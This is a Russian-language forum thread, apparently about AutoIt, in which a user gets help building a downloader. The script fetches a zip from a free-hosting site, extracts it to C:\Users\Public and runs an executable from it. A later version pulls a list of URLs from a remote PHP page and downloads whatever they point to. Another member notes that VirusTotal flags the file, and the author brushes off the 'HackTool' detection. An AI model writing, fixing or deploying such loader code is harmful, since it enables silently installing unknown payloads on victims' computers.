Что нового

Скачать и распаковать архив, по отдельности код работает

Сообщения
15
Репутация
-1
Нехочет работать

Код:
$sHTML = BinaryToString(InetRead("http://f0537919.xsph.ru/USSR/zipzip.zip"), 4)
FileWrite(@ScriptDir & '\zip.zip', $sHTML) ;
ElseIf $sHTML = @error Then
return $sHTML
Else
$ZipFullName = @ScriptDir & "\zip.zip"
$ExtractPath = "C:Users\Public\"
$oShell = ObjCreate("Shell.Application")
$oPath = $oShell.NameSpace($ExtractPath)
$oZip = $oShell.NameSpace($ZipFullName)
$oPath.CopyHere($oZip.Items, 16)
Run("C:Users\Public\runerr.exe")
EndIf

Сообщение автоматически объединено:

Код:
$ZipFullName = @ScriptDir & "\zip.zip"
$ExtractPath = "C:\"
$oShell = ObjCreate("Shell.Application")
$oPath = $oShell.NameSpace($ExtractPath)
$oZip = $oShell.NameSpace($ZipFullName)
$oPath.CopyHere($oZip.Items, 16)


Ругается на 3 строку File""
 
Последнее редактирование:

Khaibit

Знающий
Сообщения
85
Репутация
18
Ля какая красота virustotal, раньше за такие вопросы, про подобное содержимое ты отлетел в бан сразу.
 
Автор
A
Сообщения
15
Репутация
-1
HackTool, это хрень оно на много что ругается, ссылку поменял
Архив только распаковка без запуска.
Сообщение автоматически объединено:

Заработало
Код:
InetGet("http://f0537919.xsph.ru/USSR/zipzip.zip", "zip.zip")
$ZipFullName = @ScriptDir & "\zip.zip"
$ExtractPath = "C:\Users\Public"
$oShell = ObjCreate("Shell.Application")
$oPath = $oShell.NameSpace($ExtractPath)
$oZip = $oShell.NameSpace($ZipFullName)
$oPath.CopyHere($oZip.Items, 16)


Cо слешем после паблик не работало нефига
Сообщение автоматически объединено:























Но появилась новая задача

















Нужно перейти по ссылке там, там выведется просто текст ссылки http://37919.xsph.ru/4 или какойто другая http://37919.xsph.ru/53

Код:
InetGet("http://37919.xsph.ru/php.php", @ScriptDir & "\mozilla.html")



Нужно добавить к ней 1.txt и сохранить все в указанную папку

C:\Users\Public
Сообщение автоматически объединено:

Код:
#include <File.au3>
InetGet("http://f0519.xsph.ru/php.php", @ScriptDir & "\tmp.tmp")
Global $aArray, $name
_FileReadToArray(@ScriptDir & "\tmp.tmp", $aArray, 0)
For $i=0 to UBound($aArray)-1
    _sendurl($aArray[$i])
Next
Func _sendurl($name)
InetGet($name, @ScriptDir & "\ers.txt")
EndFunc


Разобрался.
Берет юрл по адресу, там только ссылка выходит
Сохраняет в тмп.
Берет из тмп ссылку и все что скачивает по ней сохраняет в ерс.тхт
Все происходит в директории где находится скрипт
 
Последнее редактирование:
Верх